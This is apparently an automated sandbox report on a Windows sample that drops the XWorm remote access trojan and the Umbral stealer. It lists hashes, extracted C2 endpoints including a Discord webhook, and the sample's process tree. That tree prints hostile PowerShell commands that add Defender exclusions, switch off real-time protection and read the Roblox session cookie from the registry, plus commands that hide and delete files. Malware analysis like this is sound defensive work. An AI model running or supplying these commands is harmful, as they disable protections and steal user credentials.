Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    23-02-2025 10:42

General

  • Target

    obxod266dev.exe

  • Size

    329KB

  • MD5

    31fc82eeaed45f2389b57ffb9d8f6ea2

  • SHA1

    fd46d4e307b09a372a3bfc0d88b87eeccaf77912

  • SHA256

    dc7f8c7c39bb043da2c19a03504c499e0af367fefee810a8190c1119992e2248

  • SHA512

    418bca3b27a8354e559de8e1333ebc8ff42a5d4f07b42a0ec95775c9a52feb1d61a00006ceefef3be8e30dc07c0fb3123440413a2b16d8d9cc6e468cb9d5c962

  • SSDEEP

    6144:3aDaK7MooumCpZSApAWl2IenY7YDlw+JmS1r8+CMCX:3LK7sk2IKYkp/mYPCX

Malware Config

Extracted

Family

xworm

C2

25.ip.gl.ply.gg:59054

Attributes
  • Install_directory

    %AppData%

  • install_file

    svchost.exe

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1342862584386420817/8iDLBPWkMbkgW0Lx9Tlnezr6EGJYKsdRBZ8GJHI66h0NchvKorRU-U6oiQsKR-OZeqD9

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\obxod266dev.exe
    "C:\Users\Admin\AppData\Local\Temp\obxod266dev.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2536
    • C:\Users\Admin\AppData\Roaming\obxod 266dev.exe
      "C:\Users\Admin\AppData\Roaming\obxod 266dev.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2504
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\obxod 266dev.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2016
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'obxod 266dev.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2296
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1788
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2832
    • C:\Users\Admin\AppData\Roaming\Umbral.exe
      "C:\Users\Admin\AppData\Roaming\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1824
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2724
      • C:\Windows\system32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:2344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:808
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1640
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2136
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:2464
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:2332
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2636
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:2216
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Umbral.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:1736
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:2384

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        c5b6f9ff5dfb98d4d6b6a91e45c7e302

        SHA1

        0072abbe7586a10aa7fb672d433298a2e7905388

        SHA256

        904c6992ca42fa543dc6107959aa6b4441af084953441be62a69a5a37128e0cb

        SHA512

        18b7516770e4a52e97965cbc6017b57a5a94db32ff9572b9abeabc286c98f3fd033652e7ee6695e767e01da106d8171d1b17d8b68861729e1b8d872f25130e9a

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        e31b55e2de9854a64283dd9e1bbfbfd5

        SHA1

        7dc183880e69e9a6a096bd7273886a0f12b14f01

        SHA256

        54c2a1d4f3eb350a4556b12eebba265552f4a92003892c41b9794d6808115c4d

        SHA512

        0465a02c1de6ea0bf088652775d79eb066c6db2b762b750a754ff427cb5fc7abbab2ece614331f96b27d8d2fd681252fdc410a003b7b331127624f56ea4810b3

      • C:\Users\Admin\AppData\Roaming\Umbral.exe

        Filesize

        232KB

        MD5

        e486d8aafa368a43a56987dd4d80aa75

        SHA1

        8851fe89928a47a58b50348d9a4458f24e2725f9

        SHA256

        596ac7d2aa525ceb7b82aec1e6376d34f36649f028de442fb0a0021e380db136

        SHA512

        abe413e1277c0ac103778822dcd3f6b03f315fad83731af10284a68fca8ecfa2d2c6b9d9c3e0ec55803a2b31d03ae9c863c430eba23954ccc5f82b2a6d21e573

      • C:\Users\Admin\AppData\Roaming\obxod 266dev.exe

        Filesize

        80KB

        MD5

        3598f860aacfe53b00c305715a6c7b2f

        SHA1

        70640b2e8a71017cdf5fb8e91fe0b065f89a064b

        SHA256

        b4b8385381c3bb23d821f179a73ff19083d15f7cc6e1c9cc2235da3c382db241

        SHA512

        0b2bfa9e701ba126acb6bf9b9b5df26e8558a59708659ec2981173267d277f44e6b6575f1ceb945a86705796ea8f50c5cd1617ee45fdaabdc68af9b2022e654c

      • memory/1824-12-0x00000000011E0000-0x0000000001220000-memory.dmp

        Filesize

        256KB

      • memory/2016-18-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

        Filesize

        2.9MB

      • memory/2016-19-0x00000000026E0000-0x00000000026E8000-memory.dmp

        Filesize

        32KB

      • memory/2296-25-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

        Filesize

        2.9MB

      • memory/2296-26-0x0000000002670000-0x0000000002678000-memory.dmp

        Filesize

        32KB

      • memory/2504-13-0x0000000000940000-0x000000000095A000-memory.dmp

        Filesize

        104KB

      • memory/2536-0-0x000007FEF4FC3000-0x000007FEF4FC4000-memory.dmp

        Filesize

        4KB

      • memory/2536-1-0x00000000009A0000-0x00000000009F8000-memory.dmp

        Filesize

        352KB

      • memory/2636-80-0x0000000002A20000-0x0000000002A28000-memory.dmp

        Filesize

        32KB